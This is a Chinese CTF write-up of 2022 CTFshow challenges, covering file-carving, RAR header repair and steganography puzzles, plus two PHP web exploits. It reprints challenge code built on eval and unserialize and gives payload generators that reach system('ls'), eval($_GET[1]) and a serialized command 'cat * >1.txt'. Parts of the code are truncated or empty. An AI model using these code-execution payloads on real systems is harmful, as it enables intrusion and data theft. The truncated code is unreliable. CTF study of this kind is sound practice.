2022CTFSHOW菜狗杯部分题目(三)

(MISC)一层一层一层地剥开我的♥-ctfshow 【RAR文件头修复|docx|文件分离|base100】

下载附件:
2022CTFSHOW菜狗杯部分题目(三)_第1张图片2022CTFSHOW菜狗杯部分题目(三)_第2张图片

打开发现是个word文档,改zip后缀为docx

打开后发现是一堆符号:

2022CTFSHOW菜狗杯部分题目(三)_第3张图片

全选内容修改字体,拿到以下内容:

2022CTFSHOW菜狗杯部分题目(三)_第4张图片

是《一闪一闪亮晶晶》的英文歌词。

对docx文件进行binwalk提取:

2022CTFSHOW菜狗杯部分题目(三)_第5张图片

得到2个压缩包。其中0.zip就是docx文件本身。另一个压缩包中有如下内容:

2022CTFSHOW菜狗杯部分题目(三)_第6张图片

其中2个文件都是加密的。根据docx文件中的信息猜测压缩包密码,结果是《一闪一闪亮晶晶》头两句的简谱音符(离谱),即11556654433221

使用此密码解压压缩包,

2022CTFSHOW菜狗杯部分题目(三)_第7张图片

得到以下文件:

2022CTFSHOW菜狗杯部分题目(三)_第8张图片

先用010editor检查3.jpg。

发现在jpg文件本该结束的位置后面又是另一个jpg文件。(JPG文件通常以FF D8开头,FF D9结束)

2022CTFSHOW菜狗杯部分题目(三)_第9张图片

在编辑器中选中FF D8开始后面的部分,使用文件→保存选择,将后面的图片另存为出来(选中字符串右键选择→标记选择开始,标记选择结束):

2022CTFSHOW菜狗杯部分题目(三)_第10张图片

就得到了另一张图片,其中含有一些文字信息winkwink~​:

2022CTFSHOW菜狗杯部分题目(三)_第11张图片

接下来检查文件名为❤的文件。

用010打开,发现为文件头缺失的RAR压缩文件,RAR的文件头通常是:52 61 72 21 1A 07 01 00

2022CTFSHOW菜狗杯部分题目(三)_第12张图片

补全文件头,并添加rar后缀,发现其中又有一个加密的txt文件:

2022CTFSHOW菜狗杯部分题目(三)_第13张图片

使用上面图中的winkwink~作为密码,解密成功

拿到一个全是表情包的txt文档:

2022CTFSHOW菜狗杯部分题目(三)_第14张图片

用base100进行解密https://ctf.bugku.com/tool/base100:

2022CTFSHOW菜狗杯部分题目(三)_第15张图片

**FLAG:**ctfshow{Wa0_wa_Congr@tulations~}

(MISC)0宽字符加密-ctfshow

题目附件明确提示了是0宽隐写:

2022CTFSHOW菜狗杯部分题目(三)_第16张图片

把内容复制到0宽字符解密工具(http://330k.github.io/misc_tools/unicode_steganography.html)中decode即可。

2022CTFSHOW菜狗杯部分题目(三)_第17张图片

**FLAG:**ctfshow{OP_is_for_Over_Power}

(WEB)我的眼里只有$-ctfshow 【变量覆盖】

题目代码:



/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-11-10 17:20:38
# @Last Modified by:   h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com

*/


error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
假设我们post传入`_=a`​那么`$_=a`​,如果在post传入`a=b`​那么`$$_=b`​
以此类推传入一定数量的参数就可以了,最后一个的值要传入eval的代码。 解题脚本: ```php import string s = string.ascii_letters t='_=a&' code="system('ls');" for i in range(35): t+=s[i]+"="+s[i+1]+'&' t+=s[i]+'='+code print(t) ``` 官方WP提供的另一种PHP脚本: ```php $str="_=__"; $res=""; echo "_=__&"; for ($i=0; $i < 34; $i++) { $str="_".$str."_"; echo $str."&"; if($i==33){ echo explode("=", $str)[1]."=eval(\$_GET[1]);"; } } ``` ​![image](https://img-blog.csdnimg.cn/img_convert/88edf07f745da9ffb227dc2c886d3ee3.png)​ # (WEB)webshell-ctfshow 【php反序列化】 题目代码: ```php init(); } public function init() { if (!preg_match('/flag/i', $this->cmd)) { $this->exec($this->cmd); } } public function exec($cmd) { $result = shell_exec($cmd); echo $result; } } if(isset($_GET['cmd'])) { $serializecmd = $_GET['cmd']; $unserializecmd = unserialize($serializecmd); $unserializecmd->init(); } else { highlight_file(__FILE__); } ?>

解题脚本:

```php

在线运行:

2022CTFSHOW菜狗杯部分题目(三)_第18张图片

传入字符串,获得flag:

2022CTFSHOW菜狗杯部分题目(三)_第19张图片

官方的WP:

 
class Webshell {
    public $cmd = 'cat * >1.txt';
}
$a = new Webshell();
echo serialize($a);
?>
区别:	

	传值后访问1.txt页面,查看flag:

	![image](https://raw.githubusercontent.com/wydyxhxs/images/main/20221116/211246133.png)​

本文参考了官方WP:https://ctf-show.feishu.cn/docx/UpC6dtDqgo7VuoxXlcvcLwzKnqh
羽师傅的WP: link

你可能感兴趣的:(CTF刷题记录,word)